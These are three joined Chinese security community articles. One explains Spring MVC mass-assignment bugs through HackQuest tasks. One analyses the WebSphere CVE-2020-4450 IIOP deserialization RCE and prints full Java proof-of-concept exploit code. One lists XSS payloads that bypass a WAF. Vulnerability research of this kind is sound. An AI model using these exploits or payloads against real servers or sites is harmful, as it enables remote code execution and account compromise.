预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言
**
今天介绍一个不是很出名的漏洞— **自动绑定漏洞** （或者称为mass
assignment）。自动绑定功能在很多框架里都实现了，它允许框架自动将HTTP请求中的参数绑定到对象中并便于开发者访问。然而攻击者可能将额外的HTTP请求参数绑定到一个对象上，当软件中存在逻辑问题时，攻击者就可以做一些有意思的事情。
自动绑定功能在框架中很流行，所以这种漏洞的攻击面按理来说是很广的，但是通常我们在没有源代码的情况下是很难发现它们的，并且每个漏洞的影响都取决于应用本身的逻辑。
**相关资料**
如果你之前没有听说过这种漏洞，可以先到OWASP上看看介绍（上面有几个简单的例子）：<https://www.owasp.org/index.php/Mass_Assignment_Cheat_Sheet>
。Ryan Berg 和Dinis Cruz 在2011年发表了一个关于这个漏洞和Spring
MVC的详细例子的paper（<https://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf>
）。
**新的特性**
那个paper已经是很久之前发表的了，现在Spring MVC已经不同于那时候了，它变得更酷了。
当我准备给最近的ZeroNigths HackQuest活动出题目时，我想出些和自动绑定相关的漏洞，这样人们就会更熟悉这种漏洞。
正如我之前说的，Spring
MVC已经改变了，它变得更加的敏捷，有很多新的特性。其中之一是使用注释来做一些“magic”的事情。因为一些对这些特性的误解，我们能够在意想不到的地方发现自动绑定漏洞。
下面我们来看看官方的说明（[http://docs.spring.io/spring/docs/3.1.x/spring-framework-reference/html/mvc.html](http://docs.spring.io/spring/docs/3.1.x/spring-framework-reference/html/mvc.html)）：
如果你并不了解Spring
MVC，不要慌，通过下面的例子你就清楚了。上面的2-4有什么共性？它们都和方法中的数据传递相关！获取传递给方法的参数的一个方式是在方法的参数上使用@ModelAttribute（就如1中描述的那样）。但是这种方式会导致自动绑定漏洞，为什么？因为@ModelAttribute
过于敏捷了，我们来看一下完整的描述：
首先，@ModelAttribute从
model中（或者其他地方）获得一个对象，然后使用用户的请求request来赋值。开发者本来想从model中获取可信的数据，但是攻击者可以通过发送一个特别构造的请求改变这些数据。
我给ZN HQ设置了两个关于这个漏洞的任务，具体代码在：
<https://github.com/GrrrDog/ZeroNights-HackQuest-2016> 。
**任务一：Edik**
这个例子有三个页面：注册，认证，home。我们的目标是在home页面进行表达式语言注入。这个任务的难点在于用户只能在注册流程中输入数据。应用中存在一个user
类，该类有3个变量（name, password, weight）。注册controller如下：
如图，controller从用户的请求（request）中获得User 对象并进行验证，如果通过验证，就把这个对象放到”DB”中。
验证过程很严格，因为使用了白名单，所以我们只能使用数字和字母。那我们要怎样在user对象中使用特殊字符呢？
攻击者要怎么做呢？让我们看看认证和home模块吧：
**认证的流程很简单：**
1、从用户请求中获得username 和 password。
2、使用1中的username和password从 db中获取一个user 对象。
3、将这个user对象放到FlashAttribute中，然后跳转到home方法（在response中跳转到/home）。
所以这一步也没有办法修改 user对象。
那么home 方法怎么样呢？它从flash
attribute中获取user对象并展示给我们。@modelAttribute在这个地方用来获取user对象，但是它同样会使用用户request中的参数来给user对象赋值！所以我们可以修改user对象中的值，我们只需要通过认证并在跳转的过程中给请求添加一个额外的参数：
/home?name=${We_Can_Write_Here_wharever_we_want}
任务已经完成。自动绑定有一个有趣但是不明显的特点，在赋值的过程中，Spring
MVC改变了已有变量的值而不是利用HTTP请求中的数据新建一个对象。这说明如果有一个从model中获得的对象且从HTTP请求中只获得一个参数，那么只有一个变量（和HTTP参数同名）会被改变，其他的变量会保持不变。
**任务二：Justice League**
第二个任务的应用由注册，认证，home，找回密码4个页面组成。我们关注的重点是找回密码页面，找回密码功能是一个拥有几个方法的controller。我们的目标是绕过它的验证。
应用的主要逻辑如下：
1、 用户访问找回密码页面，输入用户名并提交表单。
2、
resetHandler方法接收HTTP请求，使用username参数从db中获取一个user对象，然后将这个user对象放到Model中，同时也会自动把对象放到session中（controller中的@SessionAttribute("user")），最后跳转到下一个页面。
3、
用户跳转到resetViewQuestionHandler方法，实际上这个方法从session中获取user对象（使用@ModelAttribute）。这里将会使用这个user对象获取用户的安全问题并展示出来。
4、
当用户发送问题的答案时，resetQuestionHandler处理这个请求。方法从answerReset参数中获取答案并和user对象中的answer变量比较，如果相等应用就会产生一个新的密码并且展示给用户。虽然方法的参数中没有@ModelAttribute修饰User
user，但是Spring MVC实在是太敏捷了，它会自动从session中获取值，然后使用用户的请求request赋值。
**那么我们现在要怎么实现目标呢？**
1、
当我们给resetQuestionHandler发送GET请求的时候可以添加“answer=any_value”参数，这样就可以给session中的对象赋值，将原本正确的答案修改成任何值。
2、 我们也可以在最后一步POST中添加"answer=any_value"参数，并且获得相同的结果。事实上我们可以修改对象中所有变量。
这里有另外一个有趣的东西，当一个方法从session中获取对象并使用用户request赋值时，@SessionAttribute会强制Spring在session中存储这个对象。因此我们可以控制这个session中的对象的值，这样我们就可能实施Session
Puzzling攻击（<https://www.owasp.org/index.php/Testing_for_Session_puzzling_(OTG-SESS-008>） 。
**
**
**如何挖掘自动绑定漏洞**
尽管直觉上通过黑盒测试发现自动绑定漏洞是不可能的事，我们还是解决了上面两个任务。以下一些tips将有助于我们发现自动绑定漏洞：
1、参数名称和对象的变量名称相同（并不一定需要，因为这也是可配置的）。值得注意的是，自动绑定也可以用在hashmap和array中。
2、当一个controller使用自动绑定功能时，我们发送两个相同名称的参数，对象的值会变成参数的集合。
带参数的Request:
?name=text1&name=text2
**结果：**
ObjectWithNameField.name = text1,text2
3、当我们收集到所有参数名称后，我们将这些参数发送给所有的入口（URL），即使这个URL（例如resetViewQuestionHandler）看起来并不接受任何参数，然后检查响应是否有变化。
**总结**
这篇文章的主要观点就是开发者盲目相信他所获得的对象来自可信任的地方，但事实上，攻击者可以任意修改这个对象的值。很难讲变量绑定漏洞或者和它类似的漏洞到底有多普遍，但是自动绑定漏洞确实是分布很广的（基于它产生的特性）。同时变量绑定漏洞并不仅限于HTTP的参数，理论上它可能出现在任何地方（JSON或者XML）,只要这些数据能被转换并用于赋值。当然每个变量绑定漏洞的具体危害还取决于代码的业务逻辑和它使用的各种属性。 | 社区文章 |
# WebSphere 远程命令执行漏洞（CVE-2020-4450）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：白帽汇安全研究院[@Sp4rr0vv](https://github.com/Sp4rr0vv "@Sp4rr0vv")
核对：白帽汇安全研究院[@r4v3zn](https://github.com/r4v3zn "@r4v3zn")
## 环境准备
基于 `ibm installtion mananger` 进行搭建。
8.5.x
版本对应的仓库地址为：<https://www.ibm.com/software/repositorymanager/V85WASDeveloperILAN>
9.0.x 版本对应的仓库地址为：<https://www.ibm.com/software/repositorymanager/V9WASILAN>
注：需去掉 `PH25074` 补丁，本文基于 9.0.x 版本进行调试。
`WebSphere` 默认情况下，`2809、9100` 是 `IIOP`协议交互的明文端口，分别对应 `CORBA` 的 `bootstrap` 和
`NamingService`；而 `9402、9403` 则为 `iiopssl` 端口，在默认配置情况下访问 `WebSpere` 的
`NamingService` 是会走 `9403` 的SSL 端口，为了聚焦漏洞，我们可以先在 Web 控制台上手动关闭 SSL。
## WSIF 和 WSDL
`WSDL`（`Web` 服务描述语言，`Web Services Description Language`）是为描述 `Web` 服务发布的 `XML`
格式。
一个 `WSDL` 文档通常包含 `8` 个重要的元素，即
`definitions、types、import、message、portType、operation、binding、service` 元素，其中
`service` 元素就定义了各种服务端点，阅读`wsdl`时可以从这个元素开始往上读。
其中 `portType` 元素中的 `operation` 元素定义了一个接口的完整信息，`binding`
则是为访问这个接口规定了一些细节，如可以设定使用的协议，协议可以是 `soap、http、smtp、ftp` 等任何一种传输协议，除此以外还可以绑定
`jms`、`ejb` 及 `local java` 等等，不过都是需要对`binding`和`service`元素做扩展的。
`WSIF` 是 `Web Services Invocation Framework` 的缩写，意为 `Web` 服务调用框架，`WSIF` 是一组基于
`WSDL` 文件的 `API` ，他调用可以用 `WSDL` 文件描述的任何服务，在这里最重点在于扩展了`binding` 和 `service`
元素，使其可以动态调用 `java` 方法和访问 `ejb` 等。
## Demo 到 POC
`CVE-2020-4450` 中的漏洞利用链其中一个要点就是利用其动态调用 `java` 的特性，绕过对调用方法的限制，我们下面参考官网提供的
`sample` 中的案例写个小 `demo`，看下这款框架的功能底层是怎么实现的，以及有什么特点。
利用链中其中一环的限制条件之一是方法中的参数类型、参数数量、参数类型顺序必须要与接口定义的一致，本文我们以 `String`
类型参数为例进行测试，我们写一个带有 `String` 类型的参数接口，来进行跟踪接口是如何被 `WSIF` 移花接木到指定的
`ELProcessor#eval(String expression)`。
`WSDL` 文件如下：
`message` 元素中定义参数，`type` 与接口中的类型需保持一致。
`portType`元素定义 `operation` 子节点其中该子节点中的 `name` 与接口名称。
然后在进行定义 `javabinding` ，规定 `portType` 调用的方式为 `java` 调用。
其中 `java` 命名空间元素是关键要素，其中包含了实际执行方法的类和方法，后面我们将会看到 `WSIF` 如何将
`Hello#asyHell(Sring name);` 接口方法调用变成 `ELProcessor#eval(String)`。
## WSIF 到 eval
通过调用 WSIF 的 API 来访问 `WebService` 很简单，只需四步。
第一步获取工厂：
第二步实例化 `WSIFService`，会往扩展注册中心注册几个拓展元素的解析器，其中 `JavaBindingSerializer` 就是解析
`WSDL` 中 `java` 这个命名空间元素的：
在解析的过程中通过 `unmarshall` 进行解析 `WDSL` 格式
public javax.wsdl.extensions.ExtensibilityElement unmarshall(
Class parentType,
javax.xml.namespace.QName elementType,
org.w3c.dom.Element el,
javax.wsdl.Definition def,
javax.wsdl.extensions.ExtensionRegistry extReg)
throws javax.wsdl.WSDLException {
Trc.entry(this, parentType, elementType, el, def, extReg);
// CHANGE HERE: Use only one temp string ...
javax.wsdl.extensions.ExtensibilityElement returnValue = null;
if (JavaBindingConstants.Q_ELEM_JAVA_BINDING.equals(elementType)) {
JavaBinding javaBinding = new JavaBinding();
Trc.exit(javaBinding);
return javaBinding;
} else if (JavaBindingConstants.Q_ELEM_JAVA_OPERATION.equals(elementType)) {
JavaOperation javaOperation = new JavaOperation();
String methodName = DOMUtils.getAttribute(el, "methodName");
//String requiredStr = DOMUtils.getAttributeNS(el, Constants.NS_URI_WSDL, Constants.ATTR_REQUIRED);
if (methodName != null) {
javaOperation.setMethodName(methodName);
}
String methodType = DOMUtils.getAttribute(el, "methodType");
if (methodType != null) {
javaOperation.setMethodType(methodType);
}
String parameterOrder = DOMUtils.getAttribute(el, "parameterOrder");
if (parameterOrder != null) {
javaOperation.setParameterOrder(parameterOrder);
}
String returnPart = DOMUtils.getAttribute(el, "returnPart");
if (returnPart != null) {
javaOperation.setReturnPart(returnPart);
}
Trc.exit(javaOperation);
return javaOperation;
} else if (JavaBindingConstants.Q_ELEM_JAVA_ADDRESS.equals(elementType)) {
JavaAddress javaAddress = new JavaAddress();
String className = DOMUtils.getAttribute(el, "className");
if (className != null) {
javaAddress.setClassName(className);
}
String classPath = DOMUtils.getAttribute(el, "classPath");
if (classPath != null) {
javaAddress.setClassPath(classPath);
}
String classLoader = DOMUtils.getAttribute(el, "classLoader");
if (classLoader != null) {
javaAddress.setClassLoader(classLoader);
}
Trc.exit(javaAddress);
return javaAddress;
}
Trc.exit(returnValue);
return returnValue;
}
以下为分别对应的类，该类的属性我们都是可以在 WSDL 中进行控制的。
JavaOperation 类：
JavaAddress 类：
下面是简要的调用流程，解析 xml 中的元素，将其都转换 JAVA 对象，Definition
这个类就是由这些对象组成的，然后根据提供的serviceName，portTypeName 选择 WSDL 中相对应的 service 和
portType，上面说过 portType 就是一些定义抽象访问接口的集合。
第三步，获取 stub ，先是根据给定的第一个参数 portName 找到对应的 port，在根据 port 找对应的 binding ,获取其扩展的
namespaceURI 来找 WSIFProvider 动态加载 WSIFPort 的实现类。
这里的 binding namespace 就是 java
所以实现类会是由 WSIFDynamicProvider_Java 这个工厂生成的 WSIFPort_Java 对象
这个类有个叫 fieldObjectReference 的字段很关键，后面我们会看到它就是我们在 WSDL 中 <java:address >
这个元素中指定的ClassName的实例对象，也是最终执行方法的对象。
获取 WSIFPort_Java 后，接着往下可以看到，会根据提供的接口生成该接口的代理对象
其中 WSIFClientProxy 实现了 InvocationHandler ，最后对接口中的方法肯定会经过它的 invoke
方法处理，下面重点来看下它的invoke方法是怎么实现的
先是找 operation ，这里的 method 参数就是正在调用的方法
遍历我们在初始化 service 时选定的 portType 中的所有 operation ，首先 operation 的名字要和正在调用的方法名一致
名字一致后，找参数，先是如果二者的参数都为 0 的话，就返回这个 operation 了，有参数，判断参数长度，不一致就继续遍历下一个operation
如果参数长度一致，就判断类型，如果遇到一个不一致的类型就继续遍历下一个 operation 如果完全一致就立刻返回这个 operation ，如果
operation 中定义的参数类型，是正在调用的方法的参数类型的子类的话也行，但是并没有限制返回值。
选定 WSDL 中 portType 的这个符合名字和参数条件的 operation 后，接着往下，会根据这个operation的名字、参数名和返回值名由
WSIFPort 的实现类创建对应的 WSIFOperation
这里我们 WSIFPort 是 WSIFPort_Java，所以最终的实现类是 WSIFOperation_Java
，但是在这之前还会有个判断，就是会根据我们选的 port，找到 bingding，在遍历 binding 里的operation 元素，必须要有一个
operation 的名字和正在调用的方法名一致，不然就会直接返回，到这里我们看到都是对 wsdl 中 operation 名以及参数类型的限制而已，下面是
WSIFPort_Java 这个类的实例化
跟进断点这行，会看到 WSIF 会实例化我们在 WSDL 中 <java:address
className=”javax.el.ELProcessor”/> 这个标签那里指定的className，然后返回其所有的方法
接下来，是根据上面所说的，在实例化之前，筛选出的 wsdl 的 binding 中的那个 operation，将其中的 java 扩展元素赋值给
fieldJavaOperationModel 字段
然后就根据这个对象的 methodType 字段，判断是静态方法还是实例化方法,最后执行方法会根据这两个字段做选择
后面是重点，WSIF 怎么找真正要执行的方法
然后去 WSDL 找参数
简单的说下，我们在下图这里指定了 parameterOrder 的情景
WSIF 会遍历这个列表中的名字，根据当前选定的 WSDL 中的 operation 找到对应的 message 元素，然后会根据这个
parameterOrder 列表中的名字匹配其中的 part 元素的名字，也就是参数名，实例化这个元素指定的 type 成 Class
对象，放到返回值列表中，在一次遍历的过程中，先是找到 input，匹配不上再找output，如果都匹配不上就报错，到这里我们看到了第三个限制，就是指定了
parameterOrder ，那么对于与其相匹配的 operation 中的 message 中定义的参数名一定要和 parameterOrder
中的一致，至于 returnPart 这个属性有无都行
然后就是遍历所有的构造方法，匹配参数类型
先是参数个数要一致，一致后，类型要一致或者 WSDL 中定义的参数类型要是构造函数中参数的子类
第二个找实例方法，我们最终的目的，找参数类型的过程大致和上面一致，不过在getMethodReturnClass()这里会判断
returnPart，没有的话没关系，有的话还是会有些限制
然后就判断 fieldJavaOperationModel 中的方法 name 在不在我们指定的那个类的实例方法里面，到这里，已经差不多可以看出这个框架的
javabding 的特点了，当前正在执行的方法的名字只是限制了 WSDL 中一个抽象的 Operation 名字，真正执行的实例方法是在
<java:operation methodName=”xxxx” ….> 中指定的
后面就是匹配参数个数
接着是返回值，这里返回值都是不为空才判断，所以对于为了执行任意方法为目的来说，我们甚至可以不指定 returnPart
后面的过滤条件都和构造方法一样，最终返回的就是指定名字的方法
最后看下有定义 return 时真正执行方法的调用 executeRequestResponseOperation
后面还有一些特点就不说了，我们直接看下最终执行实例方法的地方，如果把返回值相关的定义去掉，将会连类型转换错误都没有，这就非常的棒
## 解析到序列化
以下为漏洞精简版本漏洞序列化栈：
readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
getEJBObject:181, EntityHandle (com.ibm.ejs.container)
findByPrimaryKey:-1, $Proxy94 (com.sun.proxy)
executeInputOnlyOperation:1603, WSIFOperation_Java (org.apache.wsif.providers.java)
eval:57, ELProcessor (javax.el)
从 `WSIFPort_EJB` 作为开始起点，
显而易见，两个字段是 `transient` 的，但是在序列化时手动写进去了，所以反序列时也手动还原回来
先看下实现了 `WAS` 中实现了 `Handler` 的类，一共就四个，这次 `EntityHandle` 是主角
这个类的字段如下
`getEJBObject() this.object==null` 的条件肯定可以满足了
`initialContextProperties` 和 `homeJNDIName` 都是可以控制的，正常情况下肯定会想到`jndi` 注入
可惜 `WAS` 默认安装时的 `JDK` 版本已经对基于 `JNDI` 做限制了,而且启动时会给 `ObjectFactoryBuilder` 赋值，连
`getObjectFactoryFromReference` 都到不了
其中在 `this.getObjectInstanceUsingObjectFactoryBuilders` 中最后会进入到的会是
`WASObjectFactoryBuilder` 这个类
这里并不会对 `ClassFactory` 远程加载，但是会根据类名实例化我们指定的工厂类，然后调用 `getObjectInstance` ,基于高版本
`JDK` 的 `jndi` 注入利用方式，就是去寻找有没有这样的 `ObjectFactory` ，它的 `getObjectInstance`
里的操作能直接或者间接地结合后续操作来造成漏洞
`org.apache.wsif.naming.WSIFServiceObjectFactory` 工厂类的 `getObjectInstance`
就是开头介绍的 `WSIF API`几步，里面所有参数都是可以控制的，因为当 `lookup` 到这里的时候，就是为了 `decode` 我们构造的
`reference` 对象。
仔细看一下，如果我们指定 `renferce` 的 `className` 为 `WSIFServiceStubRef.class` 的时候，回顾开头对
`WSIF API` 的 `4` 个步骤，会发现除了调用方法名以及其参数之外，里面用到的参数都再这里了，这意味着如果这个代理对象从 `lookup`
这里出去后，对这个对象有任何的接口方法调用，我们都是可以根据 `WSIF` 的 `java binding` 来控制其真正执行方法的对象以及要执行的方法的
再看下 `lookup` 后的流程，是将 `lookup` 回来的对象转换成 `EJBHome` ,然后调用 `findFindByPrimaryKey`
方法
`EJBHome` 这个接口并没有 `findFindByPrimaryKey` 这个方法，所以需要去找它的子类，`CounterHome` 就是其中一个
现在让我们看一下利用链要怎么构造，由于 `EntityHandle` 这个类只实现了 `Handler` 接口，没有实现 `EJBObject`
接口，我们可以自行实现 `EJBObject` 接口，让其返回
我们特定构造的 `EntityHandle` 对象绑定我们的RMI地址去进行 `jndi` 注入
赋值给 `WSIFPort_EJB` 即可
然后起个 `RMI` 绑定一下我们构造的 `WSIF Reference`
以下为互联网公开的漏洞 POC 利用详细代码：
public static void main(String[] args) throws NamingException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
System.getProperties().put("com.ibm.CORBA.ConfigURL","file:////sas.client.props");
System.getProperties().put("com.ibm.SSL.ConfigURL","file://ssl.client.props");
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBObject());
Properties env = new Properties();
env.put(Context.PROVIDER_URL, "iiop://127.0.0.1:2809/");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");
InitialContext context = new InitialContext(env);
context.list("");
Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");
f_defaultInitCtx.setAccessible(true);
WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);
Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");
f_context.setAccessible(true);
CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);
Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");
f_corbaNC.setAccessible(true);
_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);
Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");
f__delegate.setAccessible(true);
ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);
Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");
f_ior.setAccessible(true);
IOR ior = (IOR) f_ior.get(clientDelegate);
Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");
f_orb.setAccessible(true);
ORB orb = (ORB) f_orb.get(clientDelegate);
GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();
Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, Profile.class, ClientDelegate.class, String.class);
getConnection.setAccessible(true);
Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "");
Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);
setConnectionContexts.setAccessible(true);
CDROutputStream outputStream = ORB.createCDROutputStream();
outputStream.putEndian();
Any any = orb.create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream, propagationContext);
byte[] result = outputStream.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
ArrayList arrayList = new ArrayList();
arrayList.add(serviceContext);
setConnectionContexts.invoke(connection, arrayList);
context.list("");
}
## 一些思考
`WAS` 默认对 `RMI/IIOP` 开启了 `SSL` 和 `Basic` 认证，前面为了聚焦漏洞我把 `WAS` 的 `SSL`
关了，如果没关，又没指定 `SSL` 配置文件的话，直接用互联网中公开的漏洞利用方案在设置 `ServiceContext`
时相关的代码会直接报错抛出异常。
而且开启了也不能直接打，因为还有个 `BasicAuth` ，会弹出用户名密码验证框，不知道账户密码的话，敲一下回车也能过去
可以抓包和 Debug 一下源码看一下为什么会这样，在 `WsnInitCtx` 上下文中 `list` 或者 `lookup` 的实现是，先去发个
`locateRequset` 去 `BooStrap` 那获取 `NamingService` 的地址，拿到 `NamingService` 的
`IOR` 后再发送 `Request` 请求，如果 `WAS` 没启用 `SSL` 的话，在服务器返回的 `IOR Profile` 中是会带有端口指明
`NamingService` 的端口。
如果 `BootStrap` 返回的 `IOR` 只带有 `Host` ，端口为 0，但是在返回的 `IOR` 中会有 `SSL` 的相关内容，则说明是要走
`SSL` 端口的，如果我们的客户端没配置 `SSL` 属性的话，那他是不会走 `SSL` 连接的，而是直接连接 `host:0`，肯定连不上
问题就出在这里，因为本质上，要进入到本次的反序列化调用点，根本是不需要一个 `LocateRequst` 的，我们可以 `debug` 看一下，在
`WAS` 的服务端在接受 `iiop` 请求时，会先经过几个拦截器的处理，默认情况下一共`7` 个拦截器
取决于 `Corba` 客户端的请求类型，执行不同的逻辑
private void invokeInterceptor(ServerRequestInterceptor var1, ServerRequestInfoImpl var2) throws ForwardRequest {
switch(var2.state) {
case 8:
var1.receive_request_service_contexts(var2);
break;
case 9:
var1.receive_request(var2);
break;
case 10:
var1.send_reply(var2);
break;
case 11:
var1.send_exception(var2);
break;
case 12:
var1.send_other(var2);
break;
default:
throw new INTERNAL("Unexpected state for ServerRequestInfo: " + var2.state);
}
}
其中只要是 `Request` 请求，就能进入到 `TxServerInterceptor` 的 `receive_request`，进行后面的
`ServiceContext` 处理操作，触发本次的反序化过程
所以想写个实战能用的 POC 或者 EXP 的话，直接用 WAS 的 `JNDI API` 肯定不行的，可以再找一下可以直接发 `Request` 和设置
`ServiceContext` 的 `API` 。或者考虑手动构造一下数据包，默认端口没改的情况下，直接打2809或者9100,至于怎么构造，可以参考一下
[GIOP规范](https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf) 和
`JDK` 或者 `IBM` 的那套 `corba api` ，下面演示一下大致的构造过程
直接用 `Oracle JDK` 的 原生 `corba API` 请求一下 `2809`，就会发现客户端发的是一个带有 `ServiceContext`
的 `Request` 请求的
参照 GIOP 规范，整个 GIOP 头是固定的 12 个字节，其中第 8 个字节是请求类型
再参照一下这个 API 是怎么发包的，先是十二个字节的 GIOP 头
然后是一个固定的 4 字节 `ServiceContext` 的数目
后面就是 `ServiceContext` 格式也是固定的
写完 `ServiceContext` 后，是下面这个格式
所以，大致的验证代码如下：
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null, null, null);
Field field = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");
field.setAccessible(true);
field.set(wsifPort_ejb, new MyEJBObject());
Socket socket = new Socket();
InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 2809);
socket.connect(inetSocketAddress,0);
socket.setKeepAlive(true);
socket.setTcpNoDelay(true);
OutputStream outputStream = socket.getOutputStream();
EncoderOutputStream cdrOutputStream = (EncoderOutputStream)ORB.createCDROutputStream();
cdrOutputStream.write_long(1195986768);
cdrOutputStream.write_octet((byte)1);//GIOPMajor
cdrOutputStream.write_octet((byte)0);//GIOPMinor
cdrOutputStream.write_octet((byte)0);//flags
cdrOutputStream.write_octet((byte)0);//type //request
Object sizePosition = cdrOutputStream.writePlaceHolderLong((byte) 0);//size
cdrOutputStream.write_long(1);//ServiceContext size
CDROutputStream outputStream2 = ORB.createCDROutputStream();
outputStream2.putEndian();
Any any = ORB.init().create_any();
any.insert_Value(wsifPort_ejb);
PropagationContext propagationContext = new PropagationContext(
0,
new TransIdentity(null, null, new otid_t(0,0,new byte[0])),
new TransIdentity[0],
any
);
PropagationContextHelper.write(outputStream2, propagationContext);
byte[] result = outputStream2.toByteArray();
ServiceContext serviceContext = new ServiceContext(0, result);
serviceContext.write(cdrOutputStream);
int writeOffset2 = cdrOutputStream.getByteBuffer().getWriteOffset();
System.out.println(writeOffset2);
cdrOutputStream.write_long(6);//requestID
cdrOutputStream.write_octet((byte)1);//responseExpeced
ObjectKey objectKey = new ObjectKey("NameService".getBytes());
cdrOutputStream.write_long(objectKey.length());
cdrOutputStream.write_octet_array(objectKey.getBytes(), 0, objectKey.length());
cdrOutputStream.write_long(3);
cdrOutputStream.write_octet_array("get".getBytes(),0,3);
cdrOutputStream.write_long(0);
cdrOutputStream.write_long(0);
int writeOffsetEND = cdrOutputStream.getByteBuffer().getWriteOffset();
cdrOutputStream.rewriteLong(writeOffsetEND-12,sizePosition);
cdrOutputStream.getByteBuffer().flushTo(outputStream);
System.in.read();
}
结果
## 参考
* <https://mp.weixin.qq.com/s/spDHOaFh_0zxXAD4yPGejQ>
* <https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf>
* <https://ws.apache.org/wsif/>
* <https://www.thezdi.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere> | 社区文章 |
# 测试WAF来学习XSS姿势（三）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
## 前言
今天又换了款waf，因为waf要IIS环境，我发现我是个手残党，一看就懂，操作就废，搭建个IIS环境没成功。后来有朋友说我买的服务器有重置系统，那里可以选择ASP/.NET环境，今天搭建好了。
## 提醒
本文分两部分，前部分是总结新学的姿势，后半部分测试Waf。
## 数组方式
前两篇文章，我们利用js里的对象成员方法也可以用数组的形式的表示，以此构造了许多payload，在数组内将敏感函数拼接，以此来绕过。以`top`对象为演示的，在Javascrip中，可以连接数组的函数有其他可以补充的。
## map()函数
map函数可以返回一个数组`[1].map`，而且我们在使用`map`函数的时候往往会传入一个函数，如果我们传递一个`alert`函数，那么将触发xss。
[1].map(alert)
类似的数组操作函数不在少数，我所知的就有 _find_ ， _every_ ， _filter_ ， _forEach_ ， _findIndex_
。它们和 _map_ 函数都有一个共同的特点，可以返回数组，而且在使用的同时还以可以传入一个函数，这就为我们构造payload提供更多的选择。
我们思考一下，在那些情况下我们可以使用，其实满多，可以先看个demo。
<img src=1 onerror=[1].filter(alert)>
成功弹窗
那么如何更进一步呢，我们先思考下面这个例子。
<img src=1 onerror=['ale'%2b'rt'].map(top['ev'%2b'al'])[0]['valu'%2b'eOf']()(/xss/)>
将`alert`函数以数组的方式拼接保存，通过嵌套`top`对象拆分带入`eval`函数，`valueOf`方法将返回值`/xss/`，成功弹窗。
从上面的例子中，我们不难看出，javascript的这类对象方法不在少数，如果我们要寻找其他类似函数，首先满足`返回数组`，或者`字符串`，再能够带入我们的`函数`。
## function函数
在javascript，定义函数的方式有两种：一种是函数声明，另一种就是函数表达式。
这里返回结果为变量名`demo`，函数表达式也可以叫匿名函数，基本特征是没有函数名，
如果我们向匿名函数内添加`形参`为函数alert，再执行函数，那么可以达到弹窗的效果嘛?
`Function('alert(1)')();`答案显而易见。
然而alert关键字还是太敏感了，可以尝试将形参编码。
`Function('alx65x72x74x281x29')();`
成功弹窗。
拼接也是可以达到同样的效果`Function('ale'%2b'rt(1)')();`
## open()属性
open()方法属性打开一个新的浏览器窗口，可在括号内加入参数`open(alert(1))`
成功弹窗。
好玩的是，我们使用伪协议时，将会在新窗口弹出。
`<body onpageshow=open('java'%2b'script:ale'%2b'rt(1)') >`
## 神奇的constructor
还记得前篇文章[测试WAF来学习XSS姿势(二)](https://www.anquanke.com/post/id/176300)执行代码姿势补充那段嘛，当时我以为自己，已经把`constructor`的坑填完了，早上起来查资料学习，又发现一个可用知识。
constructor是一个对象的属性，这个属性存在在此对象的prototype中, 指向此对象的构造函数。如果该对象是它自己呢?
`constructor.constructor(alert(1))`
成功触发xss
如果constructor带入的是完整的函数，比如alert,prompt,confirm，那么不需要执行。怎么理解呢?
在这个demo中，我们将函数拼接，注意后面()括号，它是有必要的。
`constructor.constructor('al'%2b'ert(1)')()`
对于编码来说也是一样的，这里我们使用的是反引号，所以后面要跟着一对反引号。
**constructor.constructor`alx65rtx28/xss/x29“`**
## Waf测试
首先，我们先拿来些常用标签看看，是否会被Waf拦截，如果这个标签一出现就拦截，那我们不必在此浪费时间。
Waf拦截了，也很正常，常见一些标签`<svg>` `<img>`基本不考虑。
找一些略微生僻的，例如`<input autofocus onfocus=alert(1)>`
虽然拦截了，但是当我们把alert去掉后，就不拦截，说明这个标签可用。
`alert`不行，可以考虑的有`prompt`，`confirm`，还有`window.onerror=alert;throw
1`这个在这里有些鸡肋不考虑。
成功弹窗。
下面给几个类似的，也都能绕过Waf
<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=prompt(1)>
## 反引号
存在alert函数，但是Waf并不拦截。
但是当我们加上`()`括号，就拦截了。
回去查看Waf拦截记录，可以看出，是触发了某种规则。
